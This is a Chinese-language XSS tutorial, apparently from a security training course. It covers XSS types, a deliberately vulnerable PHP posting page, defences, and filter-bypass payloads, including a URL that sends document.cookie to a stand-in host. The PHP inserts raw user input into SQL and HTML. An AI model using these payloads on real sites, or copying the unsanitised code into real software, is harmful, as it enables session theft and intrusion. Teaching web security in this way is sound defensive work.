XSS的類型
1、反射型XSS
我們構建好一個urlXSS的payload,發送給受害者,受害者點擊惡意鏈接后會在受害者的瀏覽器上執行惡意代碼。反射型XSS是一次性的,而且比較容易被發現。通常惡意鏈接會被修改成短鏈接,或釣魚圖片的形式。
2、存儲型XSS
存儲型又叫永久性XSS,常見于留言板。因為存儲型XSS的頁面會將用戶輸入的內容存入到數據庫內,所以當其他人每訪問一次的時候,服務器都會從數據庫將攻擊者輸入的內容調取到前端瀏覽器解析,因此每一次訪問就相當于一次XSS攻擊。
3、DOM型XSS
不與服務器交互,本質上也是一種反射型XSS。主要利用js使用dom對前端html進行操作時候產生的漏洞。DOM型XSS的難點就在于通過閱讀JavaScript來確定輸出的位置,才好構建輸入的payload。
DOM型XSS可通過開發者工具觀察js變化
XSS的危害
(1) 網頁掛馬,利用瀏覽器挖等:https://www.sohu.com/a/233384944354899
(2) 盜取用戶Coolie并扮演用戶角色。
(3) DOS(拒絕服務) 客戶端瀏覽器。
(4) 釣魚攻擊,高級的釣魚技巧。
(5) 刪除目標文章、惡意篡改數據、嫁禍。
(6) 劫持用戶用戶Web行為,甚至進一步滲透內網。
(7) 爆發Web 2.0蠕蟲 :https://www.cnblogs.com/jason-jiang/articles/607070.html
(8) 蠕蟲式的DDoS攻擊。
(9) 蠕蟲式掛馬攻擊、刷廣告、刷流量,破壞網上數據。
一言以蔽之,具體要實現何種危害,完全取決于你的JavaScript代碼執行何種功能
構建XSS漏洞環境
一、PHP的發帖功能
1、前端頁面
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatiable" content="IE=edge"><meta name="viewport" content="width=device-width,initial-sacle=1.0"><title>登錄蝸牛筆記</title><style>div_x{width: 300px;height: 40px;border: solid 1px rgb(204, 83, 144);margin: auto;}.login{width: 350px;height: 50px;border: solid 0px red;margin: auto;text-align: center;}.footer{width: 500px;height: 50px;border: solid 0px blue;margin: auto;text-align: center;}.top-100{margin: 100px;}.font-30{font-size: 30px;}input{width: 300px;height: 35px;text-align: center;border-radius: 5px;}input[name="vcode"]{width: 200px;}button{width: 310px;height: 40px;background-color: dodgerblue;color: whitesmoke;border-radius: 5px;}</style>
</head>
<body style="background-image: url(./image/1.JPG); background-size: cover;"><div class="login top-100 font-30">登 錄</div><form action="login.php" method="get"><div class="login"><input type="text" name="username" /></div><div class="login"><input type="password" name="password"></div><div class="login"><input type="text" name="vcode" /> <img src="vcode.php"/></div><div class="login"><button type="submit">登錄</button></div></form>
<div class="footer top-100">版權歸我所有</div>
</body>
</html>
2、后臺代碼
<?phpinclude "common.php"; //引入公共函數庫// 獲取前端提交的數據和session變量
$headline = $_POST['headline'];
$content = $_POST['content'];
$author = $_SESSION['username'];// 將文章數據插入數據庫,并根據運行結果輸出成功與否的標志
$conn = create_connection_oop();
$sql = "insert into learn3(author,headline,content,viewcount,creattime)values('$author','$headline','$content',1,now())";
$conn->query($sql) or die('add-fail');echo "add-success";?>
3、發帖試探
<img src="./image/1.JPG" onclick="location.href=\'http://woniuxy.com\'" />
//由于該漏洞環境沒有完善單引號,所以我們將需轉入網站的單引號進行轉義<script>var result = 1;
while (true) {result--;
}
</script>
該js代碼是一個死循環,進行查看的時候會消耗我們的CPU,該例子就不做演示了<button onclick="alert(document.cookie)">點我有驚喜</button>
XSS攻防與繞過
XSS的攻擊與防御
1、XSS利用方式
(1)獲取用戶Cookie,實現越權,如果是獲取網站管理員的Cookie,也可以叫提權。注意一下盡快注銷賬號,刪除Session,讓Session失效
(2)釣魚網站,模擬真實的網站的登錄頁面,獲取用戶信息(用戶名密碼等),再跳轉到真實網站
(3)執行JS代碼,用于DDOS攻擊別的目標站點,在站點A上植入XSS代碼,向站點B發起請求,當用戶量大的時候,實現了DDOS攻擊
(4)惡意鏈接讓用戶點擊,或者直接將網頁植入到站點的<iframe>標簽中
www.woniux.com/security.textxss.php?content=<script>location.href="http://xxx.com/xss.php?cookie="+document.cookie;</script>
將上述代碼以短網址的方式發送,用戶點擊短網址再進行訪問
(5)當用戶點擊并訪問到惡意站點:<a href="http://xxxx.com/xss.html">,在xss.html的網頁中,可以執行JS代碼,一方面提供正常的網站功能,另外一方面隱藏著DOS或挖礦代碼,讓用戶瀏覽器執行
2、測試方法
(1)反射性XSS測試的時候,可以使用掃描器,或者burp進行fuzz
(2)存儲型XSS測試的時候,可以直接把字典中的payload都塞進去,根據彈窗的編號,就知道是哪個。但這個容易被發現,所以可以先試探一下特殊符號是否被過濾
(3)DOM型XSS測試,主要以閱讀js代碼為主,在頁面上找到輸入點的相關dom節點,在開發者選項中搜索一下,根據搜索結果去看是否被相關的JS操作,如果有js的操作,就去看我們的輸入操作后輸出在哪個地方,就按照常規的XSS思路進行構建
掃描器,要么直接對一個URL地址進行XSS的Payload攻擊,確認該URL地址在哪些Payload上存在XSS,另外一個思路是對整個網站使用爬蟲手段先爬取URL地址,然后再批量處理。
3、防御手段
(1)做實體字符編碼,htmlspecialchars(),函數功能就是把特殊符號,比如尖括號,引號轉換成實體編碼,這樣就不會在輸入的地方去干擾頁面源代碼。經過實體字符編碼后,用戶輸入的特殊符號在源代碼中就變成編碼,但是在頁面輸出的時候,還是會顯示成原來的樣子。當輸出位置在元素內容里面,并且被實體編碼后,基本上就沒有XSS的可能了。
http://localhost/security/testxss.php?content=<script>alert(1)</script>
$content = htmlspecialchars($_GET['content']);
http://localhost/security/testxss.php?content=Hello" onclick="alter(1)
$content = htmlspecialchars($_GET['content']);
(2)正則表達式或字符串判斷
實體字符編碼如果輸出在事件屬性中,還是有可能存在繞過的可能性。比如在a標簽中,<a href=javascript:alert(1)>,這種形式,沒有尖括號也沒有引號,就有可能被繞過。如果存在類似這種的情況,需要在鏈接屬性中加上http://或https://的正則表達式來限制。
XSS的繞過方式
1、繞過過濾
(1)前端限制,直接用F12開發者選項修改js或HTML代碼即可,或者用burpsuite繞過
(2)字符過濾,雙寫(onclick ononclickclick),大小寫繞過(ONClick),通過注釋符繞過(//,/**/),也可以通過換行符繞過(%0A,%0D)
(3)HTML實體轉移
字符實體是用一個編號寫入HTML代碼中來代替一個字符,在使用瀏覽器訪問網頁時會將這個編號解析還原為字符以供閱讀
javascript:alert("Hello Woniu")編碼為:
十六進制:6A006100760061007300630072006900700074003A0061006C0065007200740028002200480065006C006C006F00200057006F006E006900750022002900十進制:ASCII->UNICODE
javascri
pt:alert
("Hello W
oniu")
2、繞過編碼
明確瀏覽器解析的機制,明白機制后,選擇對應的編碼
3、其他技巧
(1)輸出在標簽間的情況:測試<>是否被過濾或轉義,若無則直接<img src=1 οnerrοr=alert(1)>
(2)輸出在script標簽內:我們需要在保證內部JS語法正確的前提下,去插入我們的payload。如果我們的輸出在字符串內部,測試字符串能否被閉合。如果我們無法閉合包裹字符串的引號,這個點就很難利用了。可能的解決方案:可以控制兩處輸入且\可用、存在寬字節
(3)輸出在HTML屬性內:首先查看屬性是否有雙引號包裹、沒有則直接添加新的事件屬性;有雙引號包裹則測試雙引號是否可用,可用則閉合屬性之后添加新的事件屬性;TIP:HTML的屬性,如果被進行HTML實體編碼(形如''),那么HTML會對其進行自動解碼,從而我們可以在屬性里以HTML實體編碼的方式引入任意字符,從而方便我們在事件屬性里以JS的方式構造payload。
(4)輸出在JS中,空格被過濾:使用/**/代替空格,或者在XSS代碼后對其代碼進行注釋。
(5)輸出在JS注釋中:設法插入%0A,%0D等,使其逃逸出來。
(6)輸出在JS字符串內:可以利用JS的十六進制、八進制、unicode編碼。
(7)輸出在src/href/action等屬性內:可以利用javascript:alert(1),以及data:text/html;base64;加上base64編碼后的HTML。
(8)當我們的XSSpayload位于這些標簽中間時,并不會解析,除非我們把它們閉合掉。
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>